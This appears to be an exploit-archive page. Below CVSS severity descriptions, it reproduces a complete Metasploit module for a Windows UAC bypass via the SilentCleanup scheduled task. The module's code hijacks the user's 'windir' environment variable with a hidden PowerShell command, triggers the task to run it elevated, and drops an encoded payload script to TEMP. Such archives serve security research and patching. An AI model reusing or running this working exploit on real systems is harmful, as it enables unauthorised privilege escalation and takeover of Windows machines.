The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Windows Escalate UAC Protection Bypass Via SilentCleanup
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::Powershell
include Msf::Post::Windows::Priv
include Msf::Post::File
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows Escalate UAC Protection Bypass (Via SilentCleanup)',
'Description' => %q{
There's a task in Windows Task Scheduler called "SilentCleanup" which, while it's executed as Users, automatically runs with elevated privileges.
When it runs, it executes the file %windir%\system32\cleanmgr.exe. Since it runs as Users, and we can control user's environment variables,
%windir% (normally pointing to C:\Windows) can be changed to point to whatever we want, and it'll run as admin.
},
'License' => MSF_LICENSE,
'Author' => [
'tyranid', # Discovery
'enigma0x3', # Discovery
'nyshone69', # Discovery
'Carter Brainerd (cbrnrd)' # Metasploit Module
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter', 'shell'],
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' => [['Microsoft Windows', {}]],
'DisclosureDate' => 'Feb 24 2019',
'References' => [
['URL', 'https://tyranidslair.blogspot.com/2017/05/exploiting-environment-variables-in.html'],
['URL', 'https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/'],
['URL', 'https://www.reddit.com/r/hacking/comments/ajtrws/bypassing_highest_uac_level_windows_810/'],
['URL', 'https://forums.hak5.org/topic/45439-powershell-real-uac-bypass/']
]
))
register_options(
[
OptInt.new('SLEEPTIME', [false, 'The time (ms) to sleep before running SilentCleanup', 0]),
OptString.new('PSH_PATH', [true, 'The path to the Powershell binary.', "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe"])
])
end
def get_bypass_script(cmd)
scr = %Q{
if((([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544")) {
#{cmd}
} else {
$registryPath = "HKCU:\\Environment"
$Name = "windir"
$Value = "powershell -ExecutionPolicy bypass -windowstyle hidden -Command `"& `'$PSCommandPath`'`";#"
Set-ItemProperty -Path $registryPath -Name $name -Value $Value
#Depending on the performance of the machine, some sleep time may be required before or after schtasks
Start-Sleep -Milliseconds #{datastore['SLEEPTIME']}
schtasks /run /tn \\Microsoft\\Windows\\DiskCleanup\\SilentCleanup /I | Out-Null
Remove-ItemProperty -Path $registryPath -Name $name
}
}
vprint_status(scr)
scr
end
def exploit
check_permissions
e_vars = get_envs('TEMP')
payload_fp = "#{e_vars['TEMP']}\\#{rand_text_alpha(8)}.ps1"
# Write it to disk, run, delete
upload_payload_ps1(payload_fp)
vprint_good("Payload uploaded to #{payload_fp}")
cmd_exec("#{expand_path(datastore['PSH_PATH'])} -ep bypass #{payload_fp}")
end
def check_permissions
# Check if you are an admin
case is_in_admin_group?
when nil
print_error('Either whoami is not there or failed to execute')
print_error('Continuing under assumption you already checked...')
when true
print_good('Part of Administrators group! Continuing...')
when false
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
end
end
def upload_payload_ps1(filepath)
pld = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true)
begin
vprint_status('Uploading payload PS1...')
write_file(filepath, get_bypass_script(pld))
register_file_for_cleanup(filepath)
rescue Rex::Post::Meterpreter::RequestError => e
fail_with(Failure::Unknown, "Error uploading file #{filepath}: #{e.class} #{e}")
end
end
end
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum